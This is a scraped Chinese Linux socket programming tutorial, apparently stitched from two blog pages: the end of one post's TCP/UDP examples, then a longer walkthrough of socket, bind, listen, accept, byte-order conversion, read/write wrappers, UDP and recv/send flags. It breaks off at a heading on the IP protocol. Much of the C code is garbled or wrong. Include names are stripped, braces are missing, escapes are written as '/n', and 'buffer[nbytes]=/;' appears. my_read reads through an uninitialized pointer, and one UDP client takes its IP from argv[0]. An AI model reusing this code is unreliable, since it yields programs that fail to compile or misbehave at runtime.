    	struct sockaddr_in server_sockaddr;						//服务器端填充 sockaddr结构
    	server_sockaddr.sin_family = AF_INET;
    	server_sockaddr.sin_port = htons(MYPORT);
    	server_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);	//这个地址表示不确定地址,或“所有地址”、“任意地址”;多网卡的情况下表示所有网卡ip地址
    
        ///bind,成功返回0,出错返回-1
    	if (bind(sockfd_server,(struct sockaddr *)&server_sockaddr,sizeof(server_sockaddr)) == -1)
    	{
    		perror("bind is not built!");
    		exit(1);
    	}
    
        ///listen,成功返回0,出错返回-1	设置允许连接的最大客户端数Queue
    	if (listen(sockfd_server,QUEUE) == -1)
    	{
    		perror("listen is not built!");
    		exit(1);
    	}
    
        ///客户端套接字
    	char buffer[BUFFER_SIZE];
    	struct sockaddr_in client_addr;
    	socklen_t length = sizeof(client_addr);
    
    	while(1)
    	{
    	    ///成功返回非负描述字,出错返回-1		服务器阻塞,直到客户程序建立连接
    		int conn_sock = accept(sockfd_server,(struct sockaddr *)&client_addr,&length);
    		if (conn_sock < 0)			//成功-非负描述符
    		{
    			perror("connect is not built!");
    			exit(1);
    		}
    
    		memset(buffer,0,sizeof(buffer));
    		int recv_len = recv(conn_sock,buffer,sizeof(buffer),0);
    		if (strcmp(buffer,"exit\n") == 0)
    			break;
    		fputs(buffer,stdout);
    		send(conn_sock,buffer,recv_len,0);
    		/* 这个通讯已经结束 */
    	    close(conn_sock);
    	    /* 循环下一个 */
    	}
    	 /* 结束通讯 */
        close(sockfd_server);
        return 0;
    }
    

    2. 面向UDP数据报的socket通信

    UDP客户端:

    
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define SERVER_PORT 1234
    #define MAX_BUF_SIZE 1024
    
    
    int main(int argc,char **argv)
    {
    	//建立 sockfd描述符
    	int sockfd;
    	if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
    	{
    		fprintf(stderr,"Socket is not built:%s\n",strerror(errno));
    		exit(1);
    	}
    	//填充服务端的资料
    	struct sockaddr_in serv_addr;	//定义服务器地址
    	memset(&serv_addr, 0, sizeof(struct sockaddr_in));
    	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(SERVER_PORT);
    	if (inet_aton(argv[0], &serv_addr.sin_addr) == 0)		//手动输入服务器IP; 字符串型的IP地址转化成网络字节序的2进制IP地址; 不正确返回零
    	{
    		fprintf(stderr,"IP error:%s ",strerror(errno));
    		exit(1);
    	}
    	//or
    	//serv_addr.sin_addr.s_addr = inet_addr("123.321.121.212");
    	/* if(argc!=2)
         {
         	 fprintf(stderr,"Usage:%s server_ip\n",argv[0]);
    	     exit(1);
          }*/
    
    	//数据发送
    	char send_buf[MAX_BUF_SIZE];
    	int addr_len = sizeof(struct sockaddr_in);
    	while(1)
    	{
    		printf("pls input string:\n");
    		fgets(send_buf,MAX_BUF_SIZE,stdin);
    		sendto(sockfd, send_buf, strlen(send_buf), 0, (struct sockaddr *)&serv_addr, addr_len);
    		bzero(send_buf,MAX_BUF_SIZE);
    	}
    	close(sockfd);
    }
    
    

    UDP服务器:

    
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define SERVER_PORT 1234
    #define MAX_MSG_SIZE 1024
    
    int server(void)
    {
    	int sockfd;
    	struct sockaddr_in serv_addr;		//定义服务器地址
    
    	//建立socket描述符
    	if ((sockfd  = socket(AF_INET,SOCK_DGRAM,0)) < 0)
    	{
    		fprintf(stderr,"Socket is not created! %s\n",strerror(errno));
    		exit(1);
    	}
    
    	//填充服务端的资料
    	memset(&serv_addr,0,sizeof(struct sockaddr_in));
    	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(SERVER_PORT);
    	serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    
        //捆绑sockfd描述符
    	if (bind(sockfd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr_in)) < 0)
    	{
    		fprintf(stderr,"Bind error:%s\n",strerror(errno));	//输出错误类型
    		exit(1);
    	}
    
    	unsigned int addr_len = sizeof(struct sockaddr_in);
    	char msg[MAX_MSG_SIZE];
    	while(1)
    	{
    		//从服务器设置的对应端口上读并写到接收缓存
    		int copy_len = recvfrom(sockfd, msg, MAX_MSG_SIZE, 0, (struct sockaddr *)&serv_addr, &addr_len);	//返回拷贝的数据大小 recv会阻塞,如果有输入就会一直等待输入完成
    		//显示服务端已经收到了信息
    		fprintf(stdout,"Server has received %s ",msg);
    		bzero(msg,sizeof(msg));
    	}
        close(sockfd);
        return 0;
    }
    
    

    参考文章:
    1. http://blog.csdn.net/g_brightboy/article/details/12854117
    2. http://www.cnblogs.com/xudong-bupt/archive/2013/12/29/3483059.html
    3. http://blog.chinaunix.net/uid-25695950-id-4485000.html
    4. http://www.cnblogs.com/lr-ting/archive/2012/08/24/2652482.html
    5. http://blog.chinaunix.net/uid-11848011-id-96439.html

    欢迎交流指正!
    2017.03.30

    展开全文
  • 这篇教程是用来介绍在Linux下编写网络程序的.----------------------------------------------... 在这个网络时代,掌握了Linux网络编程技术,将令每一个人处于不败之地,学习Linux网络编程,可以让我们真正的体...
    这篇教程是用来介绍在Linux下编写网络程序的.

    -----------------------------------------------------------------

    Linux 系统的一个主要特点是他的网络功能非常强大。随着网络的日益普及,基于网络的应用也将越来越多。 在这个网络时代,掌握了Linux的网络编程技术,将令每一个人处于不败之地,学习Linux的网络编程,可以让我们真正的体会到网络的魅力。 想成为一位真正的hacker,必须掌握网络编程技术。 
    现在书店里面已经有了许多关于Linux网络编程方面的书籍,网络上也有了许多关于网 络编程方面的教材,大家都可以 去看一看的。在这里我会和大家一起来领会Linux网络编程的奥妙,由于我学习Linux的网络编程也开始不久,所以我下面所说的肯定会有错误的, 还请大家指点出来,在这里我先谢谢大家了。

    在这一个章节里面,我会和以前的几个章节不同,在前面我都是概括的说了一下, 从现在开始我会尽可能的详细的说明每一个函数及其用法。好了让我们去领会Linux的伟大的魅力吧!

    1. Linux网络知识介绍

    1.1 客户端程序和服务端程序 
    网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端.

    网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接.一般的来说是服务端的程序 在一个端口上监听,直到有一个客户端的程序发来了请求.

    1.2 常用的命令 
    由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令

    netstat 
    命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项 我们常用的选项是 -an 用来显示详细的网络状态.至于其它的选项我们可以使用帮助手册获得详细的情况.

    telnet 
    telnet是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程序的. 比如我们的服务器程序在监听8888端口,我们可以用telnet localhost 8888来查看服务端的状况.

    1.3 TCP/UDP介绍 
    TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议,当我们的网络程序使用 这个协议的时候,网络可以保证我们的客户端和服务端的连接是可靠的,安全的.

    UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,这种协议并不能保证我们 的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用TCP协议的.

    2. 初等网络函数介绍(TCP) 
    Linux 系统是通过提供套接字(socket)来进行网络编程的.网络程序通过socket和其它几个函数的调用,会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的 好处.我们可以通过向描述符读写操作实现网络之间的数据交流.

    2.1 socket 
    int socket(int domain, int type,int protocol)

    domain: 说明我们网络程序所在的主机采用的通讯协族(AF_UNIX和AF_INET等). AF_UNIX只能够用于单一的Unix系统进程间通信,而AF_INET是针对Internet的,因而可以允许在远程 主机之间通信(当我们 man socket时发现 domain可选项是 PF_*而不是AF_*,因为glibc是posix的实现 所以用PF代替了AF,不过我们都可以使用的).

    type:我们网络程序所采用的通讯协议(SOCK_STREAM, SOCK_DGRAM等) SOCK_STREAM表明我们用的是TCP协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信.

    protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了 socket为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细情况.


    2.2 bind 
    int bind(int sockfd, struct sockaddr *my_addr, int addrlen)

    sockfd:是由socket调用返回的文件描述符.

    addrlen:是sockaddr结构的长度.

    my_addr:是一个指向sockaddr的指针. 在中有 sockaddr的定义

    struct sockaddr{ 
    unisgned short as_family; 
    char sa_data[14]; 
    };

    不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockaddr_in) 来代替.在中有sockaddr_in的定义 
    struct sockaddr_in{ 
    unsigned short sin_family; 
    unsigned short int sin_port; 
    struct in_addr sin_addr; 
    unsigned char sin_zero[8];

    我 们主要使用Internet所以sin_family一般为AF_INET,sin_addr设置为INADDR_ANY表示可以 和任何的主机通信,sin_port是我们要监听的端口号.sin_zero[8]是用来填充的. bind将本地的端口同socket返回的文件描述符捆绑在一起.成功是返回0,失败的情况和socket一样

    2.3 listen 
    int listen(int sockfd,int backlog)

    sockfd:是bind后的文件描述符.

    backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示可以介绍的排队长度. listen函数将bind的文件描述符变为监听套接字.返回的情况和bind一样.


    2.4 accept 
    int accept(int sockfd, struct sockaddr *addr,int *addrlen)

    sockfd:是listen后的文件描述符.

    addr, addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,listen和accept是服务器端用的函数,accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接. accept成功时返回最后的服务器端的文件描述符,这个时候服务器端可以向该描述符写信息了. 失败时返回-1


    2.5 connect 
    int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

    sockfd:socket返回的文件描述符.

    serv_addr:储存了服务器端的连接信息.其中sin_add是服务端的地址

    addrlen:serv_addr的长度

    connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件描述符 失败时返回-1.


    2.6 实例

    服务器端程序


    /******* 服务器程序 (server.c) ************/ 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include

    int main(int argc, char *argv[]) 

    int sockfd,new_fd; 
    struct sockaddr_in server_addr; 
    struct sockaddr_in client_addr; 
    int sin_size,portnumber; 
    char hello[]="Hello! Are You Fine?/n";

    if(argc!=2) 

    fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]); 
    exit(1); 
    }

    if((portnumber=atoi(argv[1]))<0) 

    fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]); 
    exit(1); 
    }

    /* 服务器端开始建立socket描述符 */ 
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) 

    fprintf(stderr,"Socket error:%s/n/a",strerror(errno)); 
    exit(1); 
    }

    /* 服务器端填充 sockaddr结构 */ 
    bzero(&server_addr,sizeof(struct sockaddr_in)); 
    server_addr.sin_family=AF_INET; 
    server_addr.sin_addr.s_addr=htonl(INADDR_ANY); 
    server_addr.sin_port=htons(portnumber);

    /* 捆绑sockfd描述符 */ 
    if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1) 

    fprintf(stderr,"Bind error:%s/n/a",strerror(errno)); 
    exit(1); 
    }

    /* 监听sockfd描述符 */ 
    if(listen(sockfd,5)==-1) 

    fprintf(stderr,"Listen error:%s/n/a",strerror(errno)); 
    exit(1); 
    }

    while(1) 

    /* 服务器阻塞,直到客户程序建立连接 */ 
    sin_size=sizeof(struct sockaddr_in); 
    if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1) 

    fprintf(stderr,"Accept error:%s/n/a",strerror(errno)); 
    exit(1); 
    }

    fprintf(stderr,"Server get connection from %s/n", 
    inet_ntoa(client_addr.sin_addr)); 
    if(write(new_fd,hello,strlen(hello))==-1) 

    fprintf(stderr,"Write Error:%s/n",strerror(errno)); 
    exit(1); 

    /* 这个通讯已经结束 */ 
    close(new_fd); 
    /* 循环下一个 */ 

    close(sockfd); 
    exit(0); 
    }


    客户端程序

    /******* 客户端程序 client.c ************/ 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include

    int main(int argc, char *argv[]) 

    int sockfd; 
    char buffer[1024]; 
    struct sockaddr_in server_addr; 
    struct hostent *host; 
    int portnumber,nbytes;

    if(argc!=3) 

    fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]); 
    exit(1); 
    }

    if((host=gethostbyname(argv[1]))==NULL) 

    fprintf(stderr,"Gethostname error/n"); 
    exit(1); 
    }

    if((portnumber=atoi(argv[2]))<0) 

    fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]); 
    exit(1); 
    }

    /* 客户程序开始建立 sockfd描述符 */ 
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) 

    fprintf(stderr,"Socket Error:%s/a/n",strerror(errno)); 
    exit(1); 
    }

    /* 客户程序填充服务端的资料 */ 
    bzero(&server_addr,sizeof(server_addr)); 
    server_addr.sin_family=AF_INET; 
    server_addr.sin_port=htons(portnumber); 
    server_addr.sin_addr=*((struct in_addr *)host->h_addr);

    /* 客户程序发起连接请求 */ 
    if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1) 

    fprintf(stderr,"Connect Error:%s/a/n",strerror(errno)); 
    exit(1); 
    }

    /* 连接成功了 */ 
    if((nbytes=read(sockfd,buffer,1024))==-1) 

    fprintf(stderr,"Read Error:%s/n",strerror(errno)); 
    exit(1); 

    buffer[nbytes]=/; 
    printf("I have received:%s/n",buffer); 
    /* 结束通讯 */ 
    close(sockfd); 
    exit(0); 
    }


    MakeFile 
    这里我们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍

    ######### Makefile ########### 
    all:server client 
    server:server.c 
    gcc $^ -o $@ 
    client:client.c 
    gcc $^ -o $@

    运 行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server portnumber& (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),然后运行 ./client localhost 8888 看看有什么结果. (你也可以用telnet和netstat试一试.) 上面是一个最简单的网络程序,不过是不是也有点烦.上面有许多函数我们还没有解释. 我会在下一章进行的详细的说明.


    2.7 总结 
    总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是:

    服务器端 
    socket-->bind-->listen-->accept

    客户端 
    socket-->connect 

    3. 服务器和客户机的信息函数 
    这一章我们来学习转换和网络方面的信息函数.

    3.1 字节转换函数 
    在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反. 为了统一起来,在Linux下面,有专门的字节转换函数.

    unsigned long int htonl(unsigned long int hostlong) 
    unsigned short int htons(unisgned short int hostshort) 
    unsigned long int ntohl(unsigned long int netlong) 
    unsigned short int ntohs(unsigned short int netshort)

    在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long 第一个函数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多.

    3.2 IP和域名的转换 
    在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢?

    struct hostent *gethostbyname(const char *hostname) 
    struct hostent *gethostbyaddr(const char *addr,int len,int type) 
    在中有struct hostent的定义 
    struct hostent{ 
    char *h_name; /* 主机的正式名称 */ 
    char *h_aliases; /* 主机的别名 */ 
    int h_addrtype; /* 主机的地址类型 AF_INET*/ 
    int h_length; /* 主机的地址长度 对于IP4 是4字节32位*/ 
    char **h_addr_list; /* 主机的IP地址列表 */ 

    #define h_addr h_addr_list[0] /* 主机的第一个IP地址*/

    gethostbyname可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息 
    gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针.

    这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()可以得到详细的出错信息


    3.3 字符串的IP和32位的IP转换. 
    在网络上面我们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in_addr结构中用的是32位的IP, 我们上面那个32位IP(C0A80001)是的192.168.0.1 为了转换我们可以使用下面两个函数

    int inet_aton(const char *cp,struct in_addr *inp) 
    char *inet_ntoa(struct in_addr in)

    函数里面 a 代表 ascii n 代表network.第一个函数表示将a.b.c.d的IP转换为32位的IP,存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式.


    3.4 服务信息函数 
    在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几个函数

    int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen) 
    int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen) 
    struct servent *getservbyname(const char *servname,const char *protoname) 
    struct servent *getservbyport(int port,const char *protoname) 
    struct servent 

    char *s_name; /* 正式服务名 */ 
    char **s_aliases; /* 别名列表 */ 
    int s_port; /* 端口号 */ 
    char *s_proto; /* 使用的协议 */ 
    }

    一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在connect调用成功后使用可得到 系统分配的端口号.对于服务端,我们用INADDR_ANY填充后,为了得到连接的IP我们可以在accept调用成功后 使用而得到IP地址.

    在网络上有许多的默认端口和服务,比如端口21对ftp80对应WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数.


    3.5 一个例子

    #include 
    #include 
    #include 
    #include 
    #include

    int main(int argc ,char **argv) 

    struct sockaddr_in addr; 
    struct hostent *host; 
    char **alias;

    if(argc<2) 

    fprintf(stderr,"Usage:%s hostname|ip../n/a",argv[0]); 
    exit(1); 
    }

    argv++; 
    for(;*argv!=NULL;argv++) 

    /* 这里我们假设是IP*/ 
    if(inet_aton(*argv,&addr.sin_addr)!=0) 

    host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET); 
    printf("Address information of Ip %s/n",*argv); 

    else 

    /* 失败,难道是域名?*/ 
    host=gethostbyname(*argv); printf("Address information 
    of host %s/n",*argv); 

    if(host==NULL) 

    /* 都不是 ,算了不找了*/ 
    fprintf(stderr,"No address information of %s/n",*argv); 
    continue; 

    printf("Official host name %s/n",host->h_name); 
    printf("Name aliases:"); 
    for(alias=host->h_aliases;*alias!=NULL;alias++) 
    printf("%s ,",*alias); 
    printf("/nIp address:"); 
    for(alias=host->h_addr_list;*alias!=NULL;alias++) 
    printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias))); 

    }

    在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假设输入的是IP所以调用inet_aton, 失败的时候,再调用gethostbyname而得到信息.

    4. 完整的读写函数 
    一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.


    4.1 写函数write

    ssize_t write(int fd,const void *buf,size_t nbytes)

    write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量. 在网络程序中,当我们向套接字文件描述符写时有俩种可能.

    1)write的返回值大于0,表示写了部分或者是全部的数据.

    2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理.

    如果错误为EINTR表示在写的时候出现了中断错误.

    如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接).

    为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.


    int my_write(int fd,void *buffer,int length) 

    int bytes_left; 
    int written_bytes; 
    char *ptr;

    ptr=buffer; 
    bytes_left=length; 
    while(bytes_left>0) 

    /* 开始写*/ 
    written_bytes=write(fd,ptr,bytes_left); 
    if(written_bytes<=0) /* 出错了*/ 

    if(errno==EINTR) /* 中断错误 我们继续写*/ 
    written_bytes=0; 
    else /* 其他错误 没有办法,只好撤退了*/ 
    return(-1); 

    bytes_left-=written_bytes; 
    ptr+=written_bytes; /* 从剩下的地方继续写 */ 

    return(0); 
    }

    4.2 读函数read 
    ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读成功时,read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.如果错误为EINTR说明读是由中断引起的, 如果是ECONNREST表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数.

    int my_read(int fd,void *buffer,int length) 

    int bytes_left; 
    int bytes_read; 
    char *ptr;

    bytes_left=length; 
    while(bytes_left>0) 

    bytes_read=read(fd,ptr,bytes_read); 
    if(bytes_read<0) 

    if(errno==EINTR) 
    bytes_read=0; 
    else 
    return(-1); 

    else if(bytes_read==0) 
    break; 
    bytes_left-=bytes_read; 
    ptr+=bytes_read; 

    return(length-bytes_left); 
    }

    4.3 数据的传递 
    有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式

    /* 客户端向服务端写 */

    struct my_struct my_struct_client; 
    write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

    /* 服务端的读*/ 
    char buffer[sizeof(struct my_struct)]; 
    struct *my_struct_server; 
    read(fd,(void *)buffer,sizeof(struct my_struct)); 
    my_struct_server=(struct my_struct *)buffer;

    在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一样的 注意的是我们没有必要在网络上传递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容)

    5. 用户数据报发送 
    我 们前面已经学习网络程序的一个很大的部分,由这个部分的知识,我们实际上可以写出大部分的基于TCP协议的网络程序了.现在在Linux下的大部分程序都 是用我们上面所学的知识来写的.我们可以去找一些源程序来参考一下.这一章,我们简单的学习一下基于UDP协议的网络程序.

    5.1 两个常用的函数

    int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen) 
    int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)

    sockfd, buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区及大小.recvfrom负责从sockfd接收数据,如果 from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,可以将from和fromlen设置为 NULL.sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料.


    5.2 一个实例

    /* 服务端程序 server.c */

    #include 
    #include 
    #include 
    #include 
    #include 
    #define SERVER_PORT 8888 
    #define MAX_MSG_SIZE 1024

    void udps_respon(int sockfd) 

    struct sockaddr_in addr; 
    int addrlen,n; 
    char msg[MAX_MSG_SIZE];

    while(1) 
    { /* 从网络上度,写到网络上面去 */ 
    n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0, 
    (struct sockaddr*)&addr,&addrlen); 
    msg[n]=0; 
    /* 显示服务端已经收到了信息 */ 
    fprintf(stdout,"I have received %s",msg); 
    sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen); 

    }

    int main(void) 

    int sockfd; 
    struct sockaddr_in addr;

    sockfd=socket(AF_INET,SOCK_DGRAM,0); 
    if(sockfd<0) 

    fprintf(stderr,"Socket Error:%s/n",strerror(errno)); 
    exit(1); 

    bzero(&addr,sizeof(struct sockaddr_in)); 
    addr.sin_family=AF_INET; 
    addr.sin_addr.s_addr=htonl(INADDR_ANY); 
    addr.sin_port=htons(SERVER_PORT); 
    if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0) 

    fprintf(stderr,"Bind Error:%s/n",strerror(errno)); 
    exit(1); 

    udps_respon(sockfd); 
    close(sockfd); 
    }


    /* 客户端程序 */ 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #define MAX_BUF_SIZE 1024

    void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len) 

    char buffer[MAX_BUF_SIZE]; 
    int n; 
    while(1) 
    { /* 从键盘读入,写到服务端 */ 
    fgets(buffer,MAX_BUF_SIZE,stdin); 
    sendto(sockfd,buffer,strlen(buffer),0,addr,len); 
    bzero(buffer,MAX_BUF_SIZE); 
    /* 从网络上读,写到屏幕上 */ 
    n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL); 
    buffer[n]=0; 
    fputs(buffer,stdout); 

    }

    int main(int argc,char **argv) 

    int sockfd,port; 
    struct sockaddr_in addr;

    if(argc!=3) 

    fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]); 
    exit(1); 
    }

    if((port=atoi(argv[2]))<0) 

    fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]); 
    exit(1); 
    }

    sockfd=socket(AF_INET,SOCK_DGRAM,0); 
    if(sockfd<0) 

    fprintf(stderr,"Socket Error:%s/n",strerror(errno)); 
    exit(1); 

    /* 填充服务端的资料 */ 
    bzero(&addr,sizeof(struct sockaddr_in)); 
    addr.sin_family=AF_INET; 
    addr.sin_port=htons(port); 
    if(inet_aton(argv[1],&addr.sin_addr)<0) 

    fprintf(stderr,"Ip error:%s/n",strerror(errno)); 
    exit(1); 

    udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in)); 
    close(sockfd); 
    }

    ########### 编译文件 Makefile ########## 
    all:server client 
    server:server.c 
    gcc -o server server.c 
    client:client.c 
    gcc -o client client.c 
    clean: 
    rm -f server 
    rm -f client 
    rm -f core

    上 面的实例如果大家编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务端,然后运行客户端.在客户端输入信息,发送到服务端, 在服务端显示已经收到信息,但是客户端没有反映.再运行一个客户端,向服务端发出信息 却可以得到反应.我想可能是第一个客户端已经阻塞了.如果谁知道怎么解决的话,请告诉我,谢谢. 由于UDP协议是不保证可靠接收数据的要求,所以我们在发送信息的时候,系统并不能够保证我们发出的信息都正确无误的到达目的地.一般的来说我们在编写网 络程序的时候都是选用TCP协议的. 
    6. 高级套接字函数 
    在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.

    6.1 recv和send 
    recv和send函数提供了和read和write差不多的功能.不过它们提供 了第四个参数来控制读写操作.

    int recv(int sockfd,void *buf,int len,int flags) 
    int send(int sockfd,void *buf,int len,int flags)

    前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合 
    _______________________________________________________________ 
    | MSG_DONTROUTE | 不查找路由表 | 
    | MSG_OOB | 接受或者发送带外数据 | 
    | MSG_PEEK | 查看数据,并不从系统缓冲区移走数据 | 
    | MSG_WAITALL | 等待所有数据 | 
    |--------------------------------------------------------------|

    MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.这个标志一般用网络诊断和路由程序里面. 
    MSG_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的.

    MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲区的内容.这样下次读的时候,仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志.

    MSG_WAITALL 是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件满足,或者是发生了错误. 1)当读到了指定的字节时,函数正常返回.返回值等于len 2)当读到了文件的结尾时,函数正常返回.返回值小于len 3)当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)

    如果flags为0,则和read,write一样的操作.还有其它的几个选项,不过我们实际上用的很少,可以查看 Linux Programmers Manual得到详细解释.

    6.2 recvfrom和sendto 
    这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了.

    6.3 recvmsg和sendmsg 
    recvmsg和sendmsg可以实现前面所有的读写函数的功能.

    int recvmsg(int sockfd,struct msghdr *msg,int flags) 
    int sendmsg(int sockfd,struct msghdr *msg,int flags)

    struct msghdr 

    void *msg_name; 
    int msg_namelen; 
    struct iovec *msg_iov; 
    int msg_iovlen; 
    void *msg_control; 
    int msg_controllen; 
    int msg_flags; 
    }

    struct iovec 

    void *iov_base; /* 缓冲区开始的地址 */ 
    size_t iov_len; /* 缓冲区的长度 */ 
    }

    msg_name 和 msg_namelen当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息.msg_name实际上是一个指向struct sockaddr的指针,msg_name是结构的长度.当套接字是面向连接时,这两个值应设为NULL. msg_iov和msg_iovlen指出接受和发送的缓冲区内容.msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小. msg_control和msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送的操作选项.和recv,send的选项一样 
    6.4 套接字的关闭 
    关闭套接字有两个函数close和shutdown.用close时和我们关闭文件一样.

    6.5 shutdown

    int shutdown(int sockfd,int howto)

    TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用shutdown.针对不同的howto,系统回采取不同的关闭方式. 
    howto=0这个时候系统会关闭读通道.但是可以继续往接字描述符写.

    howto=1关闭写通道,和上面相反,着时候就只可以读了.

    howto=2关闭读写通道,和close一样 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符.

    7. TCP/IP协议 
    你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.


    7.1 网络传输分层 
    如 果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,把网络的传输分为7个层次.分别是:应用 层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传 输的细节.下一层也只向它的上一层提供数据,而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同.

    7.2 IP协议 
